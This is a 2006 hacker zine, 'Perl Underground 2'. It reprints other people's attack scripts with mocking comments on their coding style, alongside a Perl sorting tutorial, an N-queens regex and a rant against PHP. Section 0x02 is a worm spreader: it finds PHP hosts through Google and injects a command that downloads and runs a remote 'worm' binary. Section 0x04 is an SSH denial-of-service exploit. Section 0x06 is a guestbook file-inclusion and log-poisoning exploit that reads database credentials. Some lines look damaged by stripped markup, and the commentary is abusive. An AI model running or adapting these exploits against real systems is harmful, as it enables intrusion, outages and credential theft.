$$$$$$$$$ @@@@@@@@@@@@@@@@@@$$$$ $$$$ $$$$$$$$$$$ @@@@@@@@@@@@@@@@@@@@@$$$ $$$$ $$$$ $$$$ @@@ $$$$ $$$$ @@@$$ $$$$ $$$$ $$$$ @@@ $$$$ $$$$ $$@@@ $$$$ $$$$ $$$$@@@ $$$$$$$ $$$$ $$$@@@ $$$$ $$$$$$$$$$$@@@ $$$$$$$ $$$$$$$$$$$$@@@$$$$ $$$$$$$$$$@@@ $$$$ $$$$$$$$$$ @@@$$$ $$$$ @@@ $$$$ $$$$ $$$$ @@@$$ $$$$ @@@ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$$ @@@ @@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ @@@$$$$$$$ $$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ @@@$$$$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$@@@ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $@@@ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@$$ $$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ @@@$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$@@@ $$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$@@@ $$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $@@@$$$$$ $$$$$$$$$$$ $$$$ $$$$ @@@ @@@ $$$$$$$$$ $$$$$$$$$$ $$$$$$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$@@@$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ @@@$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ @@@ $$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$$$$$$$$$ $$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ @@@$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$ $$$$$ $$$$$$$$$$$$ $$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$ $$$$ $$$$$$$$$$$ [root@yourbox.anywhere]$ cat info.txt Perl Underground 2: Judgement Day That's right. We came back and we came back with style. Chasing around the underground. More bad code, more good code, more insults, more talk, more of something for the whole family! [root@yourbox.anywhere]$ date Mon Apr 17 20:19:37 EDT 2006 [root@yourbox.anywhere]$ perl Dumper-me.pl $Chapter1 = { TITLE => 'TOC' }; $Chapter2 = { TITLE => 'Send in your application' }; $Chapter3 = { TITLE => 'uc cdej ne ucfirst perl' }; $Chapter4 = { TITLE => 'School You: Abigail' }; $Chapter5 = { TITLE => 'str0ke ch0kes' }; $Chapter6 = { TITLE => 'School You: japhy' }; $Chapter7 = { TITLE => 'Go back to PHP' }; $Chapter8 = { TITLE => 'Wait: PHP SUCKS' }; $Chapter9 = { TITLE => 'School You: MJD' }; $Chapter10 = { TITLE => 'Who are these losers?' }; $Chapter11 = { TITLE => 'School You: davorg' }; $Chapter12 = { TITLE => 'Shit on you athias' }; $Chapter13 = { TITLE => 'Intermission' }; $Chapter14 = { TITLE => 'School You: Limbic~Region' }; $Chapter15 = { TITLE => 'rape skape' }; $Chapter16 = { TITLE => 'To envision a stack' }; $Chapter17 = { TITLE => 'School You: merlyn' }; $Chapter18 = { TITLE => 'Metajoke some Metasploit' }; $Chapter19 = { TITLE => 'School You: broquaint' }; $Chapter20 = { TITLE => 'Elementary, Watson' }; $Chapter21 = { TITLE => 'School You: Grandfather' }; $Chapter22 = { TITLE => 'krissy gonna cry' }; $Chapter23 = { TITLE => 'We found nemo' }; $Chapter24 = { TITLE => 'Manifesto' }; $Chapter25 = { TITLE => 'Shoutz and Outz' }; [root@yourbox.anywhere]$ perl get-it-started.pl -[0x01] # Send in Your Application --------------------------------------- Perl Underground is now viewing applications! We have two positions available. Whipping Boy: AKA I think I can code and I'm hot shit and I want in! and Whipping Boy: AKA I think I can code and I'm hot shit and I want you to rip me apart! Both positions require an example of your best code, as well as a narrative describing how you are hot shit. Resumes not wanted! Send your application to: us. Perl Underground maintains a policy of not providing an e-mail address to the public. Regardless, being that you are hot shit, there is an expectation that you will get your application to us some way or another. Remember, we are watching. If nothing else, we can be contacted through a Google indexed page with the key phrase "I went to Perl Underground and all I got was this lousy flamewar". You would lose points for originality, or a lack of. -[0x02] # uc cdej ne ucfirst perl ---------------------------------------- #!/usr/bin/perl -w # -w is so 1996 # get your strict UP IN HERE use LWP::UserAgent; $brws = new LWP::UserAgent; $brws->agent("Internet Explorer 6.0"); %h = (); # cause you sure need that $cmd="cd /tmp;wget www.corestorm.com/worm;mv worm bash;./bash"; # why don't you use a quote operator other than ", you ignoramous! @yayarray = ("inurl:adimage.php", "inurl:adimage.php \"de\"", "inurl:adimage.php \"ru\"", "inurl:adimage.php \"fr\"", "inurl:adimage.php \"fi\"", "inurl:adimage.php \"pl\"", "inurl:adframe.php", "inurl:adframe.php \"de\"", "inurl:adframe.php \"ru\"", "inurl:adframe.php \"fr\"", "inurl:adframe.php \"fi\"", "inurl:adframe.php \"pl\"", "inurl:adjs.php", "inurl:adjs.php \"de\"", "inurl:adjs.php \"ru\"", "inurl:adjs.php \"fr\"", "inurl:adjs.php \"fi\"", "inurl:adjs.php \"pl\"", "inurl:adclick.php", "inurl:adclick.php \"de\"", "inurl:adclick.php \"ru\"", "inurl:adclick.php \"fr\"", "inurl:adclick.php \"fi\"", "inurl:adclick.php \"pl\""); foreach $line (@yayarray) { # I sense a disturbance in the force open(F, "lynx -dump \"http://www.google.com\/search?hl=us&lr=&q=$line\"|") || die "$!"; open(F, "google.sucks") || die "$!"; # who taught you regex? # my ($php) = $line =~ /:([^.]+)\.php/; # observe the list context # observe the single expression # observe the non-redundant regex # observe the lack of reliance on .* if($line =~ /^.*\:(.*?.php).*/) { $php = "$1"; } # come on, why do you do ^.* at the beginning and .* at the end # you don't need to match every aspect of a string # the Perl regex engine is ok with data existing before and after the match # you don't need to tell it that # you tell it the opposite, you anchor if you want nothing before or after # and whats with the stupid quoting # whats with it ALL # what were you thinking? while() { # less resource intensive to separate the options # but that is a personal choice # next if /cache/; # next if /search/; # not to mention you could avoid regex altogether with index # if you cared if(/cache|search/) { next; } if(/^.*?\d+.*?(http:\/\/.*?)\/$php.*/) { # ok, what the fuck. get out. just...out. # repeat everything above, just WORSE $h{$1}++; } } } foreach $line (sort keys %h) { print "Found host: $line. Exploiting...\n"; # we don't call subs like this. you remember C don't you? # where & is an address reference operater? right? # did you ever try: exp($line); ? Wouldn't that be more obvious? &exp($line); } # what the fuck is this. defined parameters in Perl? # next thing I know you'll be using prototypes sub exp($host) { # local. hah hah. that doesn't belong here! as your zine says, "that's so 1996!" # get with the times. my. local($host) = @_; # one line it: die "$!: Did not receive \$host" unless $host; # don't you realize you won't have a $! here, ever? # did you ever test this? do you know what $! is? # or better yet, remove the line entirely! # my ($host) = @_ or die "Did not receive \$host"; # omg control flow if ( !$host ) { die("$!: Did not receive \$host."); } # $host is a scalar of one item, and contiues to exist while ( $host ) { $data = "foo.bar1111','')); system('$cmd'); die;/*"; $send = new HTTP::Request POST => $host; $send->content($data); $gots = $brws->request($send); $show = $gots->content; # this regex is horrible if ( $show =~ /([\d]{1,10})<\/b>
(.*)/is ) { # why is there a $1 if you never use it? # maybe because YOU RANDOMLY CAPTURED SOMETHING print $2 . "\n"; } else { print "$show\n"; } } } # I ponder whether anyone will recognize this code. # CDEJ isn't a good read, I expect the readers just browse past the code -[0x03] # School You: Abigail -------------------------------------------- # Feel the love #!/usr/bin/perl use strict; use warnings 'all'; use re 'eval'; my $nr_of_queens = $ARGV [0] || 8; my $nr_of_rows = $nr_of_queens; my $nr_of_cols = $nr_of_queens; sub attack { my ($q1, $q2) = @_; my ($q1x, $q1y, $q2x, $q2y) = (@$q1, @$q2); $q1x == $q2x || $q1y == $q2y || abs ($q1x - $q2x) == abs ($q1y - $q2y); } my $regex; foreach my $queen (1 .. $nr_of_queens) { local $" = "|\n "; my @tmp_r; foreach my $row (1 .. $nr_of_rows) { push @tmp_r => "(?{local \$q [$queen] [0] = $row})"; } $regex .= "(?:@tmp_r)\n"; my @tmp_c; foreach my $col (1 .. $nr_of_cols) { push @tmp_c => "(?{local \$q [$queen] [1] = $col})"; } $regex .= "(?:@tmp_c)\n"; foreach my $other_queen (1 .. $queen - 1) { $regex .= "(?(?{attack \$q [$other_queen], \$q [$queen]})x|)\n"; } $regex .= "\n"; } $regex .= "\n"; $regex .= "(?{\@sig = sort map {chr (ord ('a') + \$_ -> [0] - 1) . \$_ -> [1]}" . " \@q [1 .. $nr_of_queens];})\n"; $regex .= "(?{print qq !\@sig\n!})"; "" =~ /$regex/x; -[0x04] # str0ke ch0kes -------------------------------------------------- #!/usr/bin/perl # hello there str0ke. cute little script # sorry to hear about your problems with the more elite # that's the price you pay for the risk of your position use IO::Socket; use Thread; use strict; my $serv = $ARGV[0]; my $port = $ARGV[1]; my $time = $ARGV[2]; # my ($serv, $port, $time) = @ARGV; sub usage { print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n"; print "by /str0ke (milw0rm.com)\n"; print "Credits to Pablo Fernandez\n"; print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n"; exit (); # everyone has a different weird way of calling exit(). exit; exit(); exit (); } sub exploit { my ($serv, $port, $sleep) = @_; # there you go! surprisingly like some code above.. my $sock = new IO::Socket::INET ( PeerAddr => $serv, PeerPort => $port, Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; # or die "blah", its the way to go! sleep $sleep; close($sock); } sub thread { my $i=1; print "Server: $serv\nPort: $port\nSeconds: $time\n"; # ever heard of for loops? we have them for this! # there was this kid in a beginner's c++ class I once taught # he only used do-while loops, because he was afraid of for loop syntax # and while was just too straight forward for him # are you that kid? is for just too complex for you? # moron # for my $i ( 1 .. 51 ) while($i < 51){ print "."; my $thr = new Thread \&exploit, $serv, $port, $time; $i++; } sleep $time; #detach wouldn't be good } if (@ARGV != 3){&usage;}else{&thread;} # eww. just eww. go back to Perl 4. # actually, Perl 4 wouldn't do that # Go back to C. or something. # no wonder so many lame exploits end up on your site -[0x05] # School You: japhy ---------------------------------------------- NAME Resorting to Sorting SYNOPSIS A guide to using Perl's sort() function to sort data in numerous ways. Topics covered include the Orcish maneuver, the Schwartzian Transform, the Guttman-Rosler Transform, radix sort, and sort-by-index. DESCRIPTION Sorting data is a common procedure in programming -- there are efficient and inefficient ways to do this. Luckily, in Perl, the sort() function does the dirty work; Perl's sorting is handled internally by a combination of merge-sort and quick-sort. However, sorting is done, by default, on strings. In order to change the way this is done, you can supply a piece of code to the sort() function that describes the machinations to take place. We'll examine all differents sorts of sorts; some have been named after programmers you may have heard of, and some have more descriptive names. CONTENT Table of Contents Naïve Sorting Poor practices that cause Perl to do a lot more work than necessary. The Orcish Maneuver Joseph Hall's implementation of "memoization" in sorting. Radix Sort A multiple-pass method of sorting; the time it takes to run is linearly proportional to the size of the largest element. Sorting by Index When multiple arrays must be sorted in parallel, save yourself trouble and sort the indices. Schwartzian Transforms Wrapping a sort() in between two map()s -- one to set up a data structure, and the other to extract the original information -- is a nifty way of sorting data quickly, when expensive function calls need to be kept to a minimum. Guttman-Rosler Transforms It's far simpler to let sort() sort as it will, and to format your data as something meaningful to the string comparisons sort() makes. Portability By giving sorting functions a prototype, you can make sure they work from anywhere! Naïve Sorting Ordinarily, it's not a difficult task to sort things. You merely pass the list to sort(), and out comes a sorted list. Perl defaults to using a string comparison, offered by the cmp operator. This operator compares two scalars in ASCIIbetical order -- that means "1" comes before "A", which comes before "^", which comes before "a". For a detailed list of the order, see your nearest ascii(1) man page. To sort numerically, you need to supply sort() that uses the numerical comparison operator (dubbed the "spaceship" operator), <=>: @sorted = sort { $a <=> $b } @numbers; # ascending order @sorted = sort { $b <=> $a } @numbers; # descending order There are two special variables used in sorting -- $a and $b. These represent the two elements being compared at the moment. The sorting routine can take a block (or a function name) to use in deciding which order the list is to be sorted in. The block or function should return -1 if $a is to come before $b, 0 if they are the same (or, more correctly, if their position in the sorted list could be the same), and 1 if $a is to come after $b. Sorting, by default, is like: @sorted = sort { $a cmp $b } @unsorted; That is, ascending ASCIIbetical sorting. You can leave out the block in that case: @sorted = sort @unsorted; Now, if we had a list of strings, and we wanted to sort them, in a case-insensitive manner. That means, we want to treat the strings as if they were all lower-case or upper-case. We could do something like: @sorted = sort { lc($a) cmp lc($b) } @unsorted; # or @sorted = sort { uc($a) cmp uc($b) } @unsorted; Note: There is a difference between these two sortings. There are some punctuation characters that come after upper-case letters and before lower-case characters. Thus, strings that start with such characters would be placed differently in the sorted list, depending on whether we use lc() or uc(). Now, this method of sorting is fine for small lists, but the lc() (or uc()) function is called twice for each comparison. This might not seem bad, but think about the consequences of performing massive calculations on your data: sub age_or_name { my ($name_a, $age_a) = split /_/ => $a; my ($name_b, $age_b) = split /_/ => $b; return ($age_a <=> $age_b or $name_a cmp $name_b); } @people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 ); @sorted = sort age_or_name @people; # @sorted is now # qw( Jon_14 Tim_14 Ray_18 Greg_19 Jeff_19 Joan_20 ) This gets to be tedious. There's obviously too much work being done. We should only have to split the strings once. Exercises Create a sorting subroutine to sort by the length of a string, or, if needed, by its first five characters. @sorted = sort { ... } @strings; Sort the following data structure by the value of the key specified by the "cmp" key: @nodes = ( { id => 17, size => 300, keys => 2, cmp => 'keys' }, { id => 14, size => 104, keys => 9, cmp => 'size' }, { id => 31, size => 2045, keys => 43, cmp => 'keys' }, { id => 28, size => 6, keys => 0, cmp => 'id' }, ); The Orcish Maneuver This method of speeding up sorting comparisons was named by Joseph Hall. It uses a hash to cache values of the complex calculations you need to make: { my %cache; # cache hash is only seen by this function sub age_or_name { my $data_a = ($cache{$a} ||= [ split /_/ => $a ]); my $data_b = ($cache{$b} ||= [ split /_/ => $b ]); return ( $data_a->[1] <=> $data_b->[1] or $data_a->[0] <=> $data_b->[0] ); } } @people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 ); @sorted = sort age_or_name @people; This procedure here uses a hash of array references to store the name and age for each person. The first time a string is used in the sorting subroutine, it doesn't have an entry in the %cache hash, so the || part is used. That is where this gets its name -- it is the OR-cache manuever, which can be lovingly pronounced "orcish". The main structure of Orcish sorting is: { my %cache; sub function { my $data_a = ($cache{$a} ||= mangle($a)); my $data_b = ($cache{$b} ||= mangle($b)); # compare as needed } } where mangle() is some function that does the necessary calculations on the data. Exercises Why should you make the caching hash viewable only by the sorting function? And how is this accomplished? Use the Orcish Manuever to sort a list of strings in the same way as described in the first exercise from "Naïve Sorting". Radix Sort If you have a set of strings of constant width (or that can easily be made in constant width), you can employ radix sort. This method gets around calling Perl's sort() function altogether. The concept of radix sort is as follows. Assume you have N strings of k characters in length, and each character can have one of x values (for ASCII, x is 256). We then create x "buckets", and each bucket can hold at most N strings. Here is a sample list of data for N = 7, k = 4, and x = 256: john, bear, roar, boat, vain, vane, zany. We then proceed to place each string into the bucket corresponding to the ASCII value of its rightmost character. If we were then to print the contents of the buckets after this first placement, our sample list would look like: vane, john vain bear roar boat zany. Then, we use the character immediately to the left of the one just used, and put the strings in the buckets accordingly. This is done in the order in which they are found in the buckets. The new list is: bear, roar, boat, john, vain, vane, zany. On the next round, the list becomes: vain, vane, zany, bear, roar, boat, john. On the final round, the list is: bear, boat, john, roar, vain, vane, zany. This amount of time this sorting takes is constant, and easily calculated. If we assume that all the data is the same length, then we take N strings, and multiply that by k characters. The algorithm also uses some extra space for storing the strings -- it needs an extra Nk bytes. If the data needs to be padded, there is some extra time involved (if a character is undefined, it is set as a NUL ("\0")). Here is a radix implementation. It returns the list it is given in ASCIIbetical order, like sort @list would. # sorts in-place (meaning @list gets changed) # set $unknown to true to indicate variable length radix_sort(\@list, $unknown); sub radix_sort { my ($data, $k) = @_; $k = !!$k; # turn any true value into 1 if ($k) { $k < length and $k = length for @$data } else { $k = length $data->[0] } while ($k--) { my @buckets; for (@$data) { my $c = substr $_, $k, 1; # get char $c = "\0" if not defined $c; push @{ $buckets[ord($c)] }, $_; } @$data = map @$_, @buckets; # expand array refs } } You'll notice the first argument to this function is an array reference. By doing this, we save copying a potentially large list, thus taking up less space, and running faster. If, for beauty reasons, you'd prefer not to backslash your array, you could use prototypes: sub radix_sort (\@;$); radix_sort @list, $unknown; sub radix_sort (\@;$) { # ... } You could combine the declaration and the definition of the function, but the prototype must be seen before the function call. Exercises Why does radix sort start with the right-most character in a string? Does the order of the elements in the input list effect the run-time of this sorting algorithm? What happens if the elements are already sorted? Or in the reverse sorted order? Sorting by Index Given the choice between sorting three lists and sorting one list, you'd choose sorting one list, right? Good. This, then, is the strategy employed when you sort by index. If you have three arrays that hold different information, yet for a given index, the elements are all related -- we say these arrays hold data in parallel -- then it seems far too much work to sort all three arrays. @names = qw( Jeff Jon Ray Tim Joan Greg ); @ages = qw( 19 14 18 14 20 19 ); @gender = qw( m m m m f m ); Here, all the data at index 3 ("Tim", 14, "m") is related, as it is for any other index. Now, if we wanted to sort these arrays so that this relationship stood, but the lists were sorted in terms of age and then by name, then we would like our data to look like: @names = qw( Jon Tim Ray Greg Jeff Joan ); @ages = qw( 14 14 18 19 19 20 ); @gender = qw( m m m m m f ); But to actually sort these lists requires 3 times the effort. Instead, we will sort the indices of the arrays (from 0 to 5). This is the function we will use: sub age_or_name { return ( $ages[$a] <=> $ages[$b] or $names[$a] cmp $names[$b] ) } And here it is in action: @idx = sort age_or_name 0 .. $#ages; print "@ages\n"; # 19 14 18 14 20 19 print "@idx\n"; # 1 3 2 5 0 4 print "@ages[@idx]\n"; # 14 14 18 19 19 20 As you can see, the array isn't touched, but the indices are given in such an order that fetching the elements of the array in that order yields sorted data. Note: the $#ages variable is related to the @ages array -- it holds the highest index used in the array, so for an array of 6 elements, $#array is 5. Schwartzian Transforms A common (and rather popular) idiom in Perl programming is the Schwartzian Transform, an approach which is like "you set 'em up, I'll knock 'em down!" It uses the map() function to transform the incoming data into a list of simple data structures. This way, the machinations done to the data set are only done once (as in the Orcish Manuever). The general appearance of the transform is like so: @sorted = map { get_original_data($_) } sort { ... } map { transform_data($_) } @original; They are to be read in reverse order, since the first thing done is the map() that transforms the data, then the sorting, and then the map() to get the original data back. Let's say you had lines of a password file that were formatted as: username:password:shell:name:dir and you wanted to sort first by shell, then by name, and then by username. A Schwartzian Transform could be used like this: @sorted = map { $_->[0] } sort { $a->[3] cmp $b->[3] or $a->[4] cmp $b->[4] or $a->[1] cmp $b->[1] } map { [ $_, split /:/ ] } @entries; We'll break this down into the individual parts. Step 1. Transform your data. We create a list of array references; each reference holds the original record, and then each of the fields (as separated by colons). @transformed = map { [ $_, split /:/ ] } @entries; That could be written in a for-loop, but understanding map() is a powerful tool in Perl. for (@entries) { push @transformed, [ $_, split /:/ ]; } Step 2. Sort your data. Now, we sort on the needed fields. Since the first element of our references is the original string, the username is element 1, the name is element 4, and the shell is element 3. @transformed = sort { $a->[3] cmp $b->[3] or $a->[4] cmp $b->[4] or $a->[1] cmp $b->[1] } @transformed; Step 3. Restore your original data. Finally, get the original data back from the structure: @sorted = map { $_->[0] } @transformed; And that's all there is to it. It may look like a daunting structure, but it is really just three Perl statements strung together. Guttman-Rosler Transforms Perl's regular sorting is very fast. It's optimized. So it'd be nice to be able to use it whenever possible. That is the foundation of the Guttman-Rosler Transform, called the GRT, for short. The frame of a GRT is: @sorted = map { restore($_) } sort map { normalize($_) } @original; An interesting application of the GRT is to sort strings in a case-insensitive manner. First, we have to find the longest run of NULs in all the strings (for a reason you'll soon see). my $nulls = 0; # find length of longest run of NULs for (@original) { for (/(\0+)/g) { $nulls = length($1) if length($1) > $nulls; } } $NUL = "\0" x ++$nulls; Now, we have a string of nulls, whose length is one greater than the largest run of nulls in the strings. This will allow us to safely separate the lower-case version of the strings from the original strings: # "\L...\E" is like lc(...) @normalized = map { "\L$_\E$NUL$_" } @original; Now, we can just send this to sort. @sorted = sort @normalized; And then to get back the data we had before, we split on the nulls: @sorted = map { (split /$NUL/)[1] } @original; Putting it all together, we have: # implement our for loop from above # as a function $NUL = get_nulls(\@original); @sorted = map { (split /$NUL/)[1] } sort map { "\L$_\E$NUL$_" } @original; The reason we use the NUL character is because it has an ASCII value of 0, so it's always less than or equal to any other character. Another way to approach this is to pad the string with nulls so they all become the same length: # see Exercise 1 for this function $maxlen = maxlen(\@original); @sorted = map { substr($_, $maxlen) } sort map { lc($_) . ("\0" x ($maxlen - length)) . $_ } @original; Common functions used in a GRT are pack(), unpack(), and substr(). The goal of a GRT is to make your data presentable as a string that will work in a regular comparison. Exercises Write the maxlen() function for the previous chunk of code. Portability You can make a function to be used by sort() to avoid writing potentially messy sorting code inline. For example, our Schwartzian Transform: @sorted = { $a->[3] cmp $b->[3] or $a->[4] cmp $b->[4] or $a->[1] cmp $b->[1] } However, if you want to declare that function in one package, and use it in another, you run into problems. #!/usr/bin/perl -w package Sorting; sub passwd_cmp { $a->[3] cmp $b->[3] or $a->[4] cmp $b->[4] or $a->[1] cmp $b->[1] } sub case_insensitive_cmp { lc($a) cmp lc($b) } package main; @strings = sort Sorting::case_insensitive_cmp qw( this Mine yours Those THESE nevER ); print "<@strings>\n"; __END__ This code doesn't change the order of the strings. The reason is because $a and $b in the sorting subroutine belong to Sorting::, but the $a and $b that sort() is making belong to main::. To get around this, you can give the function a prototype, and then it will be passed the two arguments. #!/usr/bin/perl -w package Sorting; sub passwd_cmp ($$) { local ($a, $b) = @_; $a->[3] cmp $b->[3] or $a->[4] cmp $b->[4] or $a->[1] cmp $b->[1] } sub case_insensitive_cmp ($$) { local ($a, $b) = @_; lc($a) cmp lc($b) } package main; @strings = sort Sorting::case_insensitive_cmp qw( this Mine yours Those THESE nevER ); print "<@strings>\n"; __END__ -[0x06] # Go back to PHP ------------------------------------------------- #!/usr/bin/perl use IO::Socket; # about time you wrote something with a bit of size print "guestbook script <= 1.7 exploit\r\n"; print "rgod rgod\@autistici.org\r\n"; print "dork: \"powered by guestbook script\"\r\n\r\n"; # misplaced and large commenting REMOVED # interesting placement of this sub sub main::urlEncode { # sub main::urlEncode looks so much more elite than sub urlEncode my ($string) = @_; $string =~ s/(\W)/"%" . unpack("H2", $1)/ge; #$string# =~ tr/.//; return $string; # did you really need a sub at all? # is the unpack line really much too complex? # considering that's ALL you end up doing } if (@ARGV < 4) { print "Usage:\r\n"; print "perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION] COMMAND\r\n\r\n"; print "SERVER - Server where Guestbook Script is installed.\r\n"; print "PATH - Path to Guestbook Script (ex: /gbs/ or just /)\r\n"; print "ACTION - 1[nothing]\r\n"; print " (tries to include apache error.log file)\r\n\r\n"; print " 2[ftp site with the code to include]\r\n\r\n"; print "COMMAND - A shell command (\"cat config.php\"\r\n"; print " to see database username & password)\r\n\r\n"; print "Example:\r\n"; print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat config.php\r\n"; print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 2ftp://username:password\@192.168.1"; print ".3/suntzu.php ls -la\r\n\r\n"; print "Note: to launch action [2] you need this code in suntzu.php :\r\n"; print "\r\n\r\n"; # stop that. Use some form of quote operator, like qq or heredocs exit(); # I really start to wonder what the obsession with parens is } $serv=$ARGV[0]; $path=$ARGV[1]; # shift it, shift it GOOD # and don't try to tell me the following wouldn't work with a shift # or do, I'll just laugh at you $ACTION=urlEncode($ARGV[2]); # must this be caps? we try to save those for defined constants $cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);}; # worse than: undef $cmd # worse than: my $cmd; # let me introduce you to a Perl for-statement # for my $i (3 .. $#ARGV) { doshit(); domoreshit(); } $temp=substr($ACTION,0,1); if ($temp==2) { #this works with PHP5 and allow_url_fopen=On $FTP=substr($ACTION,1,length($ACTION)); $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") # woo quotes, everyone quotes straight variables SOONER OR LATER or die "[+] Connecting ... Could not connect to host.\n\n"; print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".$FTP." HTTP/1.1\r\n"; print $sock "Host: ".$serv."\r\n"; print $sock "Connection: close\r\n\r\n"; $out=""; # undef, bitch while ($answer = <$sock>) { $out.=$answer; } # $out .= $answer while $answer = <$sock>; # or just slurp RIGHT close($sock); @temp= split /666/,$out,3; if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();} else {print "\r\nExploit failed...\r\n";} #ugly ugly formatting job } elsif ($temp==1) { #this works if path to log files is found and u can have access to them print "[1] Injecting some code in log files ...\r\n"; $CODE=""; $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") # sigh or die "[+] Connecting ... Could not connect to host.\n\n"; print $sock "GET ".$path.$CODE." HTTP/1.1\r\n"; print $sock "User-Agent: ".$CODE."\r\n"; print $sock "Host: ".$serv."\r\n"; # why do you interpolate vars when you shouldn't, yet don't when it's convenient? print $sock "Connection: close\r\n\r\n"; close($sock); # fill with possible locations my @paths= ( "/var/log/httpd/access_log", #Fedora, default "/var/log/httpd/error_log", #... "../apache/logs/error.log", #Windows "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", #and so on... collect some log paths, you will succeed "/etc/httpd/logs/acces_log", "/etc/httpd/logs/acces.log", "/etc/httpd/logs/error_log", "/etc/httpd/logs/error.log", "/var/www/logs/access_log", "/var/www/logs/access.log", "/usr/local/apache/logs/access_log", "/usr/local/apache/logs/access.log", "/var/log/apache/access_log", "/var/log/apache/access.log", "/var/log/access_log", "/var/www/logs/error_log", "/var/www/logs/error.log", "/usr/local/apache/logs/error_log", "/usr/local/apache/logs/error.log", "/var/log/apache/error_log", "/var/log/apache/error.log", "/var/log/access_log", "/var/log/error_log" ); # ever heard of qw? for ($i=0; $i<=$#paths; $i++) { $a = $i + 2; # really need to define this don't you? # just like before, and all SO FUCKING SHITTY, YOU STUPID PHP WHORE print "[".$a."] trying with ".$paths[$i]."\r\n"; $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n"; print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".urlEncode($paths[$i])." HTTP/1.1\r\n"; print $sock "Host: ".$serv."\r\n"; print $sock "Connection: close\r\n\r\n"; $out=''; # way to change your quoting style while ($answer = <$sock>) { $out.=$answer; } close($sock); @temp= split /666/,$out,3; if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();} # I haven't seen any of this code before.... } #if you are here... print "\r\nExploit failed...\r\n"; } else { print "No action specified ...\r\n"; } # congrats on trimming down the commenting and printing on the next one you released # maybe I should have waited for it # don't get me wrong, the code is just as shitty -[0x07] # Wait: PHP SUCKS ------------------------------------------------ Time for the enlightenment. The "PHP sucks and we're telling you why" orgy. This is the Perl Underground in everybody. The earth turns, the grass grows, PHP sucks. First of all, what are you going to do with namespaces? PHP still does not have namespaces. Then, what will you do with closures? PHP has no closures. Heck, it doesn't even have anonymous functions. That's another thing: how will you be rewriting that hash of coderefs? A hash of strings that are evaled at runtime? And what about all those objects that aren't simple hashes? But let's assume you didn't use any of these slightly more advanced programming techniques than the average PHP "programmer" can handle. But you did use modules. You do use modules, don't you? PHP is a web programming language, so it must have a good HTML parser ready, right? One is available, but it cannot be called good. It cannot even parse processing instructions like, ehm, itself. Another common task in web programming is sending HTML mail with a few inline images. So what alternative for MIME::Lite do you have? The PHP-ish solution is to build the message manually. Good luck, and have fun. But at least it can open files over HTTP. Yes, that it can. But what do you do if you want more than that? What if you want to provide POST content, headers, or implement ETags? Then, you must use Curl, which isn't nearly as convenient as LWP. Don't even think about having something like WWW::Mechanize in PHP. Enough with the modules. I think I've proven my point that CPAN makes Perl strong. Now let's discuss the core. In fact, let's focus on something extremely elementary in programming: arrays! PHP's "arrays" are hashes. It does not have arrays in the sense that most languages have them. You can't just translate $foo[4] = 4; $foo[2] = 2; foreach $element (@foo) { print $element } to $foo[4] = 4; $foo[2] = 2; foreach ($foo as $element) { print $element }. The Perl version prints 24, PHP insists on 42. Yes, there is ksort(), but that isn't something you can guess. It requires very in-depth knowledge of PHP. And that's the one thing PHP's documentation tries to avoid :) Also, don't think $foo = bar() || $baz does the same in PHP. In PHP, you end up with true or false. So you must write it in two separate expressions. Exactly what makes you think and even say moving from Perl to PHP is easy? 